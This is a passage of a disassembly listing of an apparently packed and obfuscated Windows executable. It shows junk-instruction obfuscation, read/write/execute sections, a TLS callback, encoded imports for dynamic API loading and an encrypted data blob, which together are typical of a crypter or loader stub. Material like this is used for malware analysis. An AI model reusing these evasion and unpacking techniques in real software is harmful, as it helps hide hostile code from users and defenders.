		mov	eax, [eax+60h]
		jmp	loc_4277CE
; END OF FUNCTION CHUNK	FOR sub_426F85

; =============== S U B	R O U T	I N E =======================================



sub_428D0E	proc near		; CODE XREF: sub_427C53+3j

; FUNCTION CHUNK AT 00423B92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004277C5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00428C07 SIZE 00000020 BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_428C07
sub_428D0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_428D1E	proc near		; CODE XREF: hjohnhn9:00427A2Bj
					; sub_42304F:loc_428079p
		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		call	sub_427810
sub_428D1E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4250C3


loc_428D2E:				; CODE XREF: sub_4250C3+7j
		jmp	loc_428F58
; END OF FUNCTION CHUNK	FOR sub_4250C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D64


loc_428D33:				; CODE XREF: sub_428D64:loc_426A58j
		mov	al, [ebp-0Bh]
		mov	ecx, 8
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		jmp	loc_424286
; END OF FUNCTION CHUNK	FOR sub_428D64

; =============== S U B	R O U T	I N E =======================================



sub_428D49	proc near		; CODE XREF: sub_424877:loc_4265EEp
					; hjohnhn9:004272DFj
		xchg	eax, [esp+0]
		pop	eax
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_425AEC
		call	sub_427C43
		push	offset sub_428ABB
		jmp	nullsub_83
sub_428D49	endp


; =============== S U B	R O U T	I N E =======================================



sub_428D64	proc near		; DATA XREF: sub_4262C5-2E5Ao

; FUNCTION CHUNK AT 00424286 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426A58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042876C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428D33 SIZE 00000016 BYTES

		mov	al, [ebp-0Ah]
		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		jmp	loc_426A58
sub_428D64	endp

; ---------------------------------------------------------------------------
		add	edx, ecx
		sbb	esi, 0BF9BA491h
		jmp	sub_424B30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_428D80:				; CODE XREF: sub_423B05:loc_4263DEj
		push	0C5B0C62Bh
		pop	eax
		add	eax, 63E2D2B1h
		sub	eax, 0B9943B0h
		and	eax, 4310F3D6h
		add	eax, 0B61FD10Eh
		jmp	loc_4233E1
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------

locret_428DA3:				; CODE XREF: hjohnhn9:0042908Ej
		retn
; ---------------------------------------------------------------------------


loc_428DA4:				; CODE XREF: hjohnhn9:00423593j
		mov	[ebx], ebp
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_428DA6:				; CODE XREF: sub_426C09:loc_42361Fj
					; hjohnhn9:loc_4251A7j	...
		call	sub_428CAF


loc_428DAB:				; CODE XREF: sub_426D02:loc_42326Aj
		add	eax, ebp
		push	ecx
		push	57FC02BCh
		pop	ecx
		xor	ecx, 297E2B69h
		rol	ecx, 2
		jmp	loc_425D5B
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------


loc_428DC2:				; DATA XREF: sub_4281B9+11o
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		jmp	loc_424EE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428DD1:				; CODE XREF: sub_424631:loc_4249A3j
		push	offset sub_427D9D
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_424631

; =============== S U B	R O U T	I N E =======================================



sub_428DDB	proc near		; DATA XREF: sub_428271-39Ao

; FUNCTION CHUNK AT 00426A92 SIZE 00000005 BYTES

		xor	edx, edx
		push	edx
		push	eax


loc_428DDF:				; CODE XREF: sub_427852:loc_4242E8j
		mov	eax, [ebp-18h]
		add	eax, eax
		push	offset sub_427E54
		jmp	loc_426A92
sub_428DDB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_428DEE:				; CODE XREF: sub_427486-28Ej
		jz	loc_4288D7
		jmp	loc_42736F
; END OF FUNCTION CHUNK	FOR sub_427486

; =============== S U B	R O U T	I N E =======================================



sub_428DF9	proc near		; CODE XREF: sub_4265CD-32E0p
					; hjohnhn9:004266EBj

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp-4+arg_0]
		retn
sub_428DF9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428E01	proc near		; CODE XREF: hjohnhn9:00426AB4p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
sub_428E01	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424698


loc_428E07:				; CODE XREF: sub_424698:loc_423AD2j
		jmp	loc_424757
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_428E0C:				; CODE XREF: sub_427C9B:loc_424208j
		ror	eax, 0Fh
		mov	ds:dword_423390, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428E16:				; CODE XREF: sub_424631+30A8j
		jmp	loc_425164
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_428E1B:				; CODE XREF: sub_424698-D98j
		rol	eax, 0Fh
		push	ebp
		mov	ebp, eax
		push	offset loc_428F02
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
		or	edx, ecx
		jmp	sub_423753
; ---------------------------------------------------------------------------
		and	edx, ebx
		jmp	sub_4240BC
; ---------------------------------------------------------------------------


loc_428E39:				; CODE XREF: hjohnhn9:00424DDDj
		xchg	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_428CE7


loc_428E3C:				; CODE XREF: sub_428CE7+Aj
		push	offset sub_424D99
		jmp	loc_428B0C
; END OF FUNCTION CHUNK	FOR sub_428CE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426749


loc_428E46:				; CODE XREF: sub_426749+1j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_426E54,	0
		jnz	loc_423741
		lea	edx, [ebp-14h]
		mov	eax, offset dword_426E60
		jmp	loc_4281F8
; END OF FUNCTION CHUNK	FOR sub_426749

; =============== S U B	R O U T	I N E =======================================



sub_428E65	proc near		; DATA XREF: sub_4278F6+4o
		cmp	ds:dword_423940, 0
		push	offset loc_423C44
		jmp	loc_424918
sub_428E65	endp


; =============== S U B	R O U T	I N E =======================================



sub_428E76	proc near		; CODE XREF: sub_426A30-213Cp
					; hjohnhn9:00427217j
		xchg	edx, [esp+0]
		pop	edx
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_425B24
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_425B24
		jmp	loc_427E4F
sub_428E76	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_428E98	proc near		; CODE XREF: sub_428CC9-3FAj

; FUNCTION CHUNK AT 00423E17 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424FDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042707F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428A97 SIZE 0000000B BYTES

		push	ebx
		jle	loc_426FE4
		test	esi, 0C845AEE7h
		jmp	loc_423E17
sub_428E98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_428EAA:				; CODE XREF: sub_424A28:loc_4284A7j
		or	edx, 0DAC2EAFDh
		xchg	esi, eax
		and	eax, 84FD1F4Dh
		adc	edx, esi
		jmp	sub_42677F
; END OF FUNCTION CHUNK	FOR sub_424A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_428EBF:				; CODE XREF: sub_42325E:loc_4231D4j
					; sub_427C9B:loc_4271AEj
		call	sub_424946

locret_428EC4:				; CODE XREF: sub_428DDB:loc_426A92j
		retn
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------


loc_428EC5:				; CODE XREF: hjohnhn9:004245FDj
		jmp	loc_428363
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428ECB:				; CODE XREF: hjohnhn9:00423C80j
		jmp	locret_4285D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_428ED0:				; CODE XREF: sub_424819:loc_426875j
					; hjohnhn9:loc_426889j
		rol	ebx, 14h
		cmp	ebx, 0D223451h
		jmp	loc_423EC7
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_428EDE:				; CODE XREF: sub_426A78:loc_4250D5j
		xor	ecx, edi
		jmp	loc_426573
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E54


loc_428EE5:				; CODE XREF: sub_427E54:loc_423E31j
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
; END OF FUNCTION CHUNK	FOR sub_427E54
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_428EEB:				; CODE XREF: sub_426F85-EB4j
					; sub_426F85+11CDj ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_426F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_428EF2:				; CODE XREF: sub_428271:loc_427EC8j
					; sub_427852+AD7j
		inc	dword ptr [ebp-18h]
		jmp	loc_425156
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
		rol	esi, 4
		jmp	sub_426AF6
; ---------------------------------------------------------------------------


loc_428F02:				; DATA XREF: sub_424698+4789o
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_428F06:				; CODE XREF: sub_426D02+10j
		jmp	loc_427458
; END OF FUNCTION CHUNK	FOR sub_426D02

; =============== S U B	R O U T	I N E =======================================



sub_428F0B	proc near		; CODE XREF: hjohnhn9:loc_426AADp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423598 SIZE 00000010 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_423598
sub_428F0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_428F16:				; CODE XREF: sub_427852-DAAj
		add	eax, [edx+20h]
		xor	edx, edx
		call	sub_428271
; END OF FUNCTION CHUNK	FOR sub_427852
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_428F20:				; CODE XREF: sub_42325E+58FEj
		xor	eax, esi
		push	offset sub_42420D
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------


loc_428F2C:				; CODE XREF: hjohnhn9:00424BC9j
		jns	loc_423533
		and	edx, 0B8C2C0D4h
		jmp	loc_42706D
; ---------------------------------------------------------------------------
		call	sub_4262C5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_428F45:				; CODE XREF: sub_42304F+1D45j
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_42304F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428F4A	proc near		; DATA XREF: sub_425CB3+B09o
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	edi
		jmp	loc_4249D7
sub_428F4A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250C3


loc_428F58:				; CODE XREF: sub_4250C3:loc_428D2Ej
		cmp	dword ptr [ebp-4], 0
		jz	loc_4244EE
		push	offset loc_426255
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_4250C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F90


loc_428F6C:				; CODE XREF: sub_427F90:loc_4275E4j
		xor	eax, eax
		mov	[ebp+var_8], eax


loc_428F71:				; CODE XREF: sub_42486B:loc_42836Dj
		jnb	loc_42849F
		mov	eax, [ebp+var_C]
		cmp	byte ptr [eax],	0
		jnz	loc_42712D
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		jmp	loc_42440F
; END OF FUNCTION CHUNK	FOR sub_427F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C09


loc_428F8E:				; CODE XREF: hjohnhn9:loc_4240FFj
					; sub_426C09-D89j
		jb	loc_42654D
		jg	loc_42895C
		jmp	loc_428DA6
; END OF FUNCTION CHUNK	FOR sub_426C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_428F9F:				; CODE XREF: sub_423BC3+3EC4j
		adc	esi, 0EEB2035Eh
		xor	ecx, 62F29220h
		rol	esi, 0Dh


loc_428FAE:				; CODE XREF: sub_423BC3:loc_427A7Ej
		rol	eax, 16h
		xor	eax, 12060420h
		xchg	eax, [esp-8+arg_4]
		jmp	loc_4260F9
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
		xor	ecx, esi
		jle	loc_428675
		jmp	loc_423FA6
; ---------------------------------------------------------------------------


loc_428FCC:				; DATA XREF: sub_42790F+8o
		xchg	ecx, [esp]
		mov	edi, ecx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428FD3	proc near		; CODE XREF: sub_427486:loc_4288D7p
		push	ebp
		mov	ebp, esp
		jmp	sub_426D02
sub_428FD3	endp

; ---------------------------------------------------------------------------


loc_428FDB:				; CODE XREF: hjohnhn9:loc_4266B0j
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_425BB8
		jmp	loc_427F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_428FEC:				; CODE XREF: sub_4278DC:loc_427F70j
		pop	edi
		push	0FA4754E4h
		pop	eax
		and	eax, ds:4000F1h
		add	eax, 403CEF18h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_42808F
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_429008:				; CODE XREF: sub_425BD2:loc_425AE1j
		pushf
		test	ebp, esi
		jmp	loc_424454
; END OF FUNCTION CHUNK	FOR sub_425BD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C8


loc_429013:				; CODE XREF: sub_4279C8+Aj
		jmp	locret_426832
; END OF FUNCTION CHUNK	FOR sub_4279C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424946


loc_429018:				; CODE XREF: sub_424946+11j
		jmp	loc_4281EA
; END OF FUNCTION CHUNK	FOR sub_424946
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_42901D:				; CODE XREF: sub_427564-3858j
		jmp	loc_42825D
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_429022:				; CODE XREF: sub_424161-CA3j
		jmp	loc_4231F0
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_429027:				; CODE XREF: sub_4236A7:loc_424F57j
		cmp	esi, 0D7B1D993h
		jmp	loc_424BAE
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_429032:				; CODE XREF: sub_4260BD:loc_42873Aj
		mov	edi, esi
		xchg	edi, [esp+0]
		or	esi, eax
		jmp	loc_423BF1
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------


loc_42903E:				; DATA XREF: sub_4279C8+5o
		xchg	esi, [esp]
		mov	eax, esi
		pop	esi
		pop	eax
		push	eax
		push	offset sub_423D67
		jmp	nullsub_94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_429050:				; CODE XREF: sub_427C9B:loc_4271A9j
		jo	loc_427B9C
		test	edx, 606EBC7Dh
		jmp	loc_42858D
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_429061:				; CODE XREF: sub_4287BF:loc_423767j
		call	sub_428436
		test	al, al
		jnz	loc_4268DB
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_42867B
		mov	eax, [ebp-4]
		inc	eax
		jmp	loc_42757E
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------


loc_429083:				; CODE XREF: hjohnhn9:0042910Dj
		or	edx, 0F4A62BC0h


loc_429089:				; CODE XREF: hjohnhn9:00429101j
		push	offset sub_4275F9
		jmp	locret_428DA3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429094:				; CODE XREF: hjohnhn9:loc_428368j
		cmp	dword ptr [ebp-8], 0
		jnz	loc_427A11
; START	OF FUNCTION CHUNK FOR sub_426354


loc_42909E:				; CODE XREF: sub_426354:loc_426E07j
					; sub_427A07+4j
		call	sub_426354


loc_4290A3:				; CODE XREF: sub_426523-285j
		jmp	loc_42875B
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_4290A8:				; CODE XREF: sub_4263E3+8E0j
		push	offset sub_427FDD
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
		ror	ebx, 1Bh
		jmp	sub_424361
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BF2


loc_4290BA:				; CODE XREF: sub_425BF2-A6j
					; sub_425BF2:loc_427260j
		push	0
		push	0
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0Ch+var_C]
		call	sub_425CB3


loc_4290C9:				; CODE XREF: hjohnhn9:004273ADj
		jo	loc_4281A3
; END OF FUNCTION CHUNK	FOR sub_425BF2

; =============== S U B	R O U T	I N E =======================================



sub_4290CF	proc near		; CODE XREF: sub_4241F3+Fp

; FUNCTION CHUNK AT 004246A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F70 SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		jnz	loc_426F70
		jmp	loc_42807E
sub_4290CF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_4290DF:				; CODE XREF: hjohnhn9:loc_424922j
					; sub_4244F5+54Cj
		jmp	loc_42439F
; END OF FUNCTION CHUNK	FOR sub_4244F5
; ---------------------------------------------------------------------------


loc_4290E4:				; CODE XREF: hjohnhn9:0042399Dj
		jmp	locret_42335B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	ecx, esi
		jmp	loc_423604
; ---------------------------------------------------------------------------


loc_4290F1:				; CODE XREF: hjohnhn9:00427845j
		pop	ebx
		or	eax, 0BA9D7AC2h
		rol	eax, 0Dh
		and	eax, 6F6E6B99h
		jns	loc_429089
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_429107:				; CODE XREF: sub_42851A-1B2Ej
		jmp	loc_424A07
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_429083
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_429112:				; CODE XREF: sub_427C9B:loc_42451Cj
		push	offset sub_4275A3
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42911C	proc near		; CODE XREF: sub_424771+6j
		retn
sub_42911C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42362A


loc_42911D:				; CODE XREF: sub_42362A+10j
		jmp	locret_426FC1
; END OF FUNCTION CHUNK	FOR sub_42362A
; ---------------------------------------------------------------------------
		dw 890Fh
		dd 0B8A15B77h, 5E3195A3h, 8EEB8AB8h, 48ECh, 3B3h dup(0)
hjohnhn9	ends

; Section 5. (virtual address 0002A000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 0002A000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
fzj3qwht	segment	para public 'CODE' use32
		assume cs:fzj3qwht
		;org 42A000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		db 0CCh
		db 0A0h, 2, 0
		align 8
		dd 0FFFFFFFFh, 2A03Ch, 2A0B4h, 2A108h, 0
		dd 0FFFFFFFFh, 2A0E8h, 2A104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_42A0B4	dd 77E79F93h		; DATA XREF: sub_432992+28r
dword_42A0B8	dd 77E805D8h		; DATA XREF: sub_432992+37r
dword_42A0BC	dd 77E7A5FDh		; DATA XREF: sub_432992+8Er
dword_42A0C0	dd 77E75CB5h		; DATA XREF: fzj3qwht:0042FE57r
					; fzj3qwht:0043174Cr ...
dword_42A0C4	dd 77E7980Ah, 77E79E34h, 2A04Ch, 2A060h, 2A070h, 2A084h
					; DATA XREF: sub_432AFD+1Eo
		dd 2A094h, 2A0A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_42A104	dd 77D6ADD7h		; DATA XREF: fzj3qwht:00430CDAo
					; sub_432A49+64r
		dd 2A0F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: fzj3qwht:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: fzj3qwht:TlsCallbacks_ptro
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42A134	proc near		; CODE XREF: sub_431F5F:loc_4311F0p
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_42A13E:				; CODE XREF: sub_42A134+21j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_42A154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_42A154:				; CODE XREF: sub_42A134+10j
		dec	ecx
		jg	short loc_42A13E
		pop	ecx
		pop	esi
		retn
sub_42A134	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset dword_422000
		dd 200434Ah, 0
		dd 47BC0000h, 111D2091h, 0B00A1208h, 41D80008h,	0DFA49ED0h
		dd 0F41630A3h, 13EB709h, 0C84F4287h, 74138925h,	5D84A3C9h
		dd 5268E94Ah, 2011F980h, 62020E34h, 15B9A915h, 198C0C1h
		dd 0BA303B90h, 608A0022h, 152E8584h, 0A7141AC3h, 0E6528B52h
		dd 6244A64Ch, 0AAC5EA21h, 90356825h, 9112A14h, 0CF50B25Bh
		dd 402FA6D4h, 28B4EA55h, 0C618A7D3h, 80C01AA9h,	9554AA74h
		dd 305D24C1h, 66BEF07Eh, 94CB5738h, 0D15B9C00h,	0E45C7D84h
		dd 82074D8Ah, 2DD29DE6h, 0DF63147Bh, 245CA06Ah,	90203764h
		dd 1690DDCCh, 76BA516Fh, 0E8764703h, 0CBD20C59h, 5205C3C6h
		dd 82D4C9DEh, 4804B48h,	1FBAED06h, 8829270Bh, 0CEE1DD0Ah
		dd 0DB8E1BBDh, 916072B4h, 2244D98Eh, 1DDCh, 0
		dd 30000000h, 434A0042h, 6132h,	0
		dd 20E078D7h, 4C611F97h, 0A7FE4B9Fh, 65E192C5h,	0D17E9892h
		dd 9E4C6E17h, 0B7FE0400h, 24F002CFh, 0BA2DC301h, 9D2D9C05h
		dd 7465D2D8h, 0E98246D1h, 3E985088h, 81AE82DDh,	0FDB1180h
		dd 0D17F0098h, 5383E085h, 22EDEC6h, 72990B86h, 427930FCh
		dd 255E8644h, 89D8A1D9h, 9D50A413h, 3FA8742h, 6C37C079h
		dd 0F8E83175h, 88C0D561h, 703D3EB5h, 0C683EACEh, 0C3F157A8h
		dd 611126DBh, 4EAB781Fh, 5CB25190h, 0E717F9FDh,	0AFB2DB69h
		dd 7E5E0387h, 73BB830Eh, 9F710FC2h, 0C125A11Fh,	0A6E6DA2Fh
		dd 0DC4F97C7h, 0FCBFBF0h, 781CF99Eh, 48127E1Fh,	981F5703h
		dd 0C28EE474h, 13EF401Ah, 6D676D20h, 94D1E4AEh,	0C2500D49h
		dd 5C110CC8h, 24EA3F18h, 79E492BFh, 68A4CA62h, 17BADF07h
		dd 87024B99h, 6BAADA39h, 0C79AFF2Dh, 0F338AFE0h, 8D008B50h
		dd 979C4D8Eh, 0A297BA22h, 0DDA9ADC9h, 0E2F9158Ch, 0F276BA6h
		dd 0EA67B824h, 9B593D7Eh, 605EED61h, 0EBB8B82Dh, 42721D10h
		dd 9E05A363h, 48107EA6h, 0D627F801h, 0DDE4171Ah, 4F015004h
		dd 8E311E1Dh, 46D121BCh, 0E92D80A3h, 0E5C6A880h, 7E2A07E9h
		dd 58BC84E1h, 0A0A045E7h, 4EF03EAEh, 7129D7Ah, 6B232D29h
		dd 0ABEB2D12h, 0DC632117h, 0F50F0841h, 0E885980Dh, 0F4B5A6B9h
		dd 3D18A697h, 36B45FE5h, 3164606h, 300A3F5h, 9CF0C7DBh
		dd 7FEE015Fh, 0EE5F0F0Ch, 92565B8Ch, 0CF28B880h, 0F18A227Bh
		dd 0EC0B3D99h, 7C3F1BACh, 94824607h, 0E278974Bh, 2553CB81h
		dd 6846796Bh, 80338D99h, 0D2D43B6Eh, 0C5B41C3Ah, 0DDFE4585h
		dd 0BCD1A003h, 3D7E3D77h, 865FF1B6h, 0A0DCEFADh, 78935ADEh
		dd 1E39246Ah, 939143C1h, 0D15BD4F0h, 4363BA0Fh,	0EA89D752h
		dd 0DA2195C9h, 987BEFF4h, 585E034Bh, 98A8F01Bh,	0FD3F1F7Eh
		dd 0C59A7BB3h, 0D2822436h, 0AA834CA7h, 47701259h, 0C015F3FBh
		dd 94C30142h, 2D3440Dh,	89004DE0h, 0E86A1591h, 39E5FD00h
		dd 0C7D58A01h, 5FE5E383h, 0C8876260h, 0BA899D08h, 3DF6F444h
		dd 0B6393534h, 48754386h, 143B5D46h, 0F851459h,	4515059h
		dd 524B151h, 0CBFBDEB8h, 0D0131C22h, 0B22E7351h, 930C3CD2h
		dd 4836D4DEh, 1E2CE558h, 0FF8E7317h, 0BFD7B03Ch, 6FB686B3h
		dd 47055DF4h, 9262A378h, 21BAFC4Fh, 0EAD0FC6h, 6CA6E1E1h
		dd 0F7EB3671h, 0A99AF361h, 0C96B6623h, 6DAFD0E2h, 0C22BF9C6h
		dd 31D99C6h, 0C222B1A1h, 87EBEB6Bh, 0CA551FC3h,	53E8529h
		dd 0BE89469Ah, 4DEC057Dh, 0D4F30F1Eh, 81992359h, 0B4F548D4h
		dd 713EC53Eh, 28414528h, 9BCBD4ACh, 60E70B2Fh, 0D718D84Fh
		dd 0FAE2150Bh, 511151F8h, 2CC460F0h, 210FA294h,	0B5D1FBA2h
		dd 0A369F0E3h, 0B5D3BCF0h, 7CF1E021h, 0DDF7B0F0h, 4925602Ch
		dd 7C530A8Bh, 7186E21Ch, 7809250Bh, 258E0FDCh, 0EC38F55Bh
		dd 406DEA9Fh, 8394EB91h, 221F7B89h, 0A78AF5FEh,	22C03F03h
